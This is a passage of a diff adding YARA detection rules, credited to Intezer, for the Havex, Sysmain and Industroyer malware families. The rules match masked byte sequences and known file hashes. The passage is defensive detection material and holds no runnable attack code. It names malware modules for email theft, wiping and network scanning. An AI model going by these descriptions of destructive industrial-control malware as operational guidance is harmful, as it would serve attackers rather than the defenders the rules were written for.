+		$block_9 = { 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea" or
+		hash.sha256(0, filesize) == "3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b" or
+		hash.sha256(0, filesize) == "76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6" or
+		hash.sha256(0, filesize) == "7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253" or
+		10 of them
+}
+
+rule HavexLoader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 66 ?? ?? 66 ?? ?? ?? 66 ?? 33 ?? 4? 5? 0F B7 ?? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_2 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_3 = { E8 ?? ?? ?? ?? 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_4 = { 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 33 ?? 4? 5? 8B ?? 66 ?? ?? 0F B7 ?? 4? 83 ?? ?? 7D }
+		$block_5 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F B7 ?? 72 }
+		$block_6 = { 8D ?? ?? 83 ?? ?? ?? 5? 33 ?? 8B ?? AB AB AB AB 33 ?? 8D ?? ?? AB AB AB AB 5? }
+		$block_7 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8D ?? ?? A5 A5 A5 A5 FF 1? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C3 }
+		$block_9 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? EB }
+		$block_11 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_12 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_13 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? A5 A5 A5 6A ?? A5 0F B6 ?? ?? 5? 2B ?? 5? }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 8A ?? ?? 5? 5? 5? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_17 = { 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_18 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 3C ?? 0F 84 }
+		$block_19 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_20 = { 0F B6 ?? ?? 33 ?? 8A ?? ?? ?? ?? ?? 30 ?? 0F B6 ?? 4? 4? 75 }
+		$block_21 = { 8A ?? ?? ?? ?? ?? 8D ?? ?? ?? 30 ?? 0F B6 ?? 4? 83 ?? ?? 72 }
+		$block_22 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_23 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_24 = { 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8A ?? ?? 84 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 39 ?? ?? 0F 83 }
+		$block_26 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_27 = { 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_28 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67" or
+		12 of them
+}
+
+rule HavexModuleOutlook {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_2 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_3 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_4 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 8D ?? ?? AB AB AB AB 83 ?? ?? ?? C7 }
+		$block_8 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_9 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_10 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_11 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 4? ?? 0F 85 }
+		$block_12 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_13 = { 8B ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e" or
+		12 of them
+}
+
+rule HavexModuleNetworkScanner {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 5? 89 ?? ?? 8B ?? D1 ?? 5? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? 80 E? ?? C0 ?? ?? D3 ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? C1 ?? ?? 0B ?? 33 ?? 4? 89 ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? FF 4? ?? 8B ?? ?? 33 ?? 3B ?? 0F 94 ?? 89 ?? ?? 33 ?? 89 }
+		$block_1 = { 8B ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? FF 7? ?? 8B ?? ?? FF 7? ?? 8B ?? FF 7? ?? FF 3? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? B0 ?? 5? C9 C3 }
+		$block_2 = { FF 7? ?? 33 ?? 4? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 33 ?? C6 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 88 ?? 0F BE ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_4 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_5 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_6 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6" or
+		hash.sha256(0, filesize) == "2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850" or
+		7 of them
+}
+
+rule Sysmain {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 33 ?? AB AB AB 8B ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? 5? 83 ?? ?? 6A ?? 99 5? F7 ?? 8B ?? 39 ?? ?? 77 }
+		$block_3 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 3? FF D? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_5 = { 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? D3 ?? 83 ?? ?? 0F B7 ?? 8B ?? ?? 66 ?? ?? ?? 7D }
+		$block_7 = { 8D ?? ?? 8D ?? ?? A5 A5 A5 8D ?? ?? 5? A5 FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 75 }
+		$block_8 = { FF 3? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 5? 5? 0F 8E }
+		$block_9 = { 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 4? 5? 88 ?? 3B ?? ?? ?? ?? ?? 72 }
+		$block_10 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_11 = { 8B ?? ?? ?? 33 ?? AB AB AB E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 86 }
+		$block_15 = { BE ?? ?? ?? ?? 8D ?? ?? ?? A5 A5 A5 8D ?? ?? ?? A5 E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_16 = { 5? 5? 5? 5? 68 ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_23 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? C1 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_24 = { 8B ?? ?? FF 3? E8 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+		$block_26 = { FF 4? ?? ?? 8B ?? ?? FF 4? ?? 83 ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_30 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_31 = { FF 4? ?? 8B ?? ?? ?? ?? ?? FF 4? ?? 8D ?? ?? 3B ?? 89 ?? ?? 0F 8C }
+		$block_32 = { 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? C9 C3 }
+		$block_33 = { 68 ?? ?? ?? ?? FF 7? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_34 = { FF 7? ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_36 = { 8D ?? ?? ?? 0F B6 ?? 5? E8 ?? ?? ?? ?? 4? 5? 88 ?? 3B ?? ?? 72 }
+		$block_37 = { 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_38 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 2B ?? ?? 75 }
+		$block_39 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_40 = { FF 3? E8 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_42 = { 8D ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { FF 8? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_44 = { BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? C9 C3 }
+		$block_46 = { 8B ?? ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_47 = { BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? 85 ?? 0F 84 }
+		$block_48 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 5? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_51 = { 8B ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_52 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 5? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_54 = { 8B ?? ?? 5? 33 ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C2 }
+		$block_55 = { 5? BB ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 86 }
+		$block_56 = { FC 6B ?? ?? 64 ?? ?? ?? 8B ?? ?? 8B ?? ?? AD 8B }
+
+	condition:
+		hash.sha256(0, filesize) == "81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df" or
+		hash.sha256(0, filesize) == "31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95" or
+		hash.sha256(0, filesize) == "dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989" or
+		hash.sha256(0, filesize) == "53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac" or
+		hash.sha256(0, filesize) == "d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9" or
+		hash.sha256(0, filesize) == "a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599" or
+		hash.sha256(0, filesize) == "387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9" or
+		12 of them
+}
+
+rule IndustroyerWiper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? 89 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 0F 10 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? 0F 11 ?? ?? 5? 0F 10 ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? 5? 0F 11 ?? ?? 68 ?? ?? ?? ?? 0F 10 ?? ?? ?? ?? ?? 5? 8D ?? ?? 0F 11 ?? ?? 5? 0F 10 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 11 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 6A ?? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 46 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 6A ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF 1? }
+		$block_2 = { 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_3 = { FF B? ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { FF B? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? 0F 44 ?? 83 ?? ?? 83 ?? ?? 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910" or
+		hash.sha256(0, filesize) == "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81" or
+		6 of them
+}
+
+rule IndustroyerPortScanner {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 83 ?? ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? 8B ?? 4? }
+		$block_1 = { 5? 8B ?? 5? 8B ?? ?? 83 ?? ?? 5? 8B ?? 5? 39 ?? ?? 8B ?? 0F 42 ?? ?? 8B ?? ?? 2B ?? 3B ?? 0F 86 }
+		$block_2 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 83 ?? ?? ?? 5? 0F 43 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_3 = { 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 2B ?? 89 ?? ?? ?? 6A ?? 5? 99 F7 ?? 89 ?? ?? ?? 83 ?? ?? 7C }
+		$block_4 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 83 ?? ?? 0F 8F }
+		$block_5 = { 83 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 87 }
+		$block_6 = { 5? 8B ?? 5? 5? 5? 33 ?? 89 ?? ?? 33 ?? 38 ?? ?? 5? 8B ?? ?? 0F 94 ?? 5? 8B ?? ?? 89 ?? ?? 89 }
+		$block_7 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 83 ?? ?? 0F 8C }
+		$block_8 = { 8B ?? 33 ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 2B ?? 89 ?? ?? 4? D1 ?? 3B ?? ?? 0F 47 ?? 85 ?? 74 }
+		$block_9 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 88 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 6A ?? 5? 99 F7 ?? 8D ?? ?? 8B ?? 83 ?? ?? 0F 86 }
+		$block_11 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_12 = { 5? 8B ?? 5? F7 ?? ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 89 ?? ?? 89 ?? ?? 74 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 5? 6A ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_14 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 33 ?? 66 }
+		$block_15 = { 5? 5? 5? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_16 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 80 7? ?? ?? 0F 85 }
+		$block_17 = { 8B ?? ?? 8B ?? ?? 8B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0F B6 ?? ?? 0F AB ?? 88 ?? ?? EB }
+		$block_18 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_19 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_20 = { 39 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E9 }
+		$block_21 = { 8B ?? ?? 0F B7 ?? 8B ?? 83 ?? ?? C1 ?? ?? 5? 0F B6 ?? ?? 0F AB ?? 88 ?? ?? EB }
+		$block_22 = { 8B ?? ?? 8B ?? ?? 2B ?? 6A ?? 5? 99 F7 ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? 0F 86 }
+		$block_23 = { 8B ?? ?? 2B ?? 8B ?? ?? 3B ?? 89 ?? ?? 0F 42 ?? 83 ?? ?? 2B ?? 3B ?? 76 }
+		$block_24 = { 6A ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? CC 8B ?? 85 ?? 74 }
+		$block_25 = { 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 85 }
+		$block_26 = { 83 ?? ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 5? }
+		$block_27 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_28 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 0F 88 }
+		$block_29 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 0F 8F }
+		$block_30 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? E8 ?? ?? ?? ?? 5? 3B ?? 77 }
+		$block_31 = { 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 8B ?? ?? 83 ?? ?? ?? 75 }
+		$block_32 = { FF 4? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? 5? E8 }
+		$block_33 = { 39 ?? ?? 8D ?? ?? 0F 43 ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_34 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B6 ?? 3B ?? ?? 75 }
+		$block_35 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 80 7? ?? ?? 0F 85 }
+		$block_36 = { 2B ?? 99 F7 ?? ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "2dd7d880975dd90ea0d9d400319741c74b9491a0dc2b1c13ce3a850f37e03184" or
